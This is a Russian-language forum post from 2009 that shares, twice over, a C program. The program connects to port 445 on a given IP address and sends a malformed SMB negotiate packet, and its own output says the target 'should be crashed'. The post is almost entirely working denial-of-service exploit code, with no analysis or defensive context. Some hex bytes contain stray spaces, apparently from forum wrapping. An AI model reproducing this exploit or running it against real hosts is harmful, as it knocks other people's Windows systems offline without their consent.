DeaD_MoroZ
20.11.2009, 19:00
вот он сам
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "WS2_32.lib")
char buff[] =
"\x00\x00\x00\x90"
"\xff\x53\x4d\x42"
"\x72\x00\x00\x00"
"\x00\x18\x53\xc8"
"\x00\x26"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x ff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x 45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x 20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x 30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x 20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x 31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x 02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x 20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x 32\x2e"
"\x30\x30\x32\x00";
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Syntax: %s [ip address]\r\n", argv[0]);
return -1;
}
WSADATA WSAdata;
WSAStartup(MAKEWORD(2, 2), &WSAdata);
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
char *host = argv[1];
SOCKADDR_IN ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family = AF_INET;
ssin.sin_port = htons((unsigned short)445);
ssin.sin_addr.s_addr = inet_addr(host);
printf("Connecting to %s:445... ", host);
if (connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == -1) {
printf("ERROR!\r\n");
return 0;
}
printf("OK\r\n");
printf("Sending malformed packet... ");
if (send(sock, buff, sizeof(buff), 0) <= 0) {
printf("ERROR!\r\n");
return 0;
}
printf("OK\r\n");
printf("Successfully sent packet!\r\nTarget should be crashed...\r\n");
closesocket(sock);
WSACleanup();
return 1;
}
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "WS2_32.lib")
char buff[] =
"\x00\x00\x00\x90"
"\xff\x53\x4d\x42"
"\x72\x00\x00\x00"
"\x00\x18\x53\xc8"
"\x00\x26"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x ff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x 45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x 20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x 30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x 20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x 31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x 02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x 20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x 32\x2e"
"\x30\x30\x32\x00";
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Syntax: %s [ip address]\r\n", argv[0]);
return -1;
}
WSADATA WSAdata;
WSAStartup(MAKEWORD(2, 2), &WSAdata);
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
char *host = argv[1];
SOCKADDR_IN ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family = AF_INET;
ssin.sin_port = htons((unsigned short)445);
ssin.sin_addr.s_addr = inet_addr(host);
printf("Connecting to %s:445... ", host);
if (connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == -1) {
printf("ERROR!\r\n");
return 0;
}
printf("OK\r\n");
printf("Sending malformed packet... ");
if (send(sock, buff, sizeof(buff), 0) <= 0) {
printf("ERROR!\r\n");
return 0;
}
printf("OK\r\n");
printf("Successfully sent packet!\r\nTarget should be crashed...\r\n");
closesocket(sock);
WSACleanup();
return 1;
}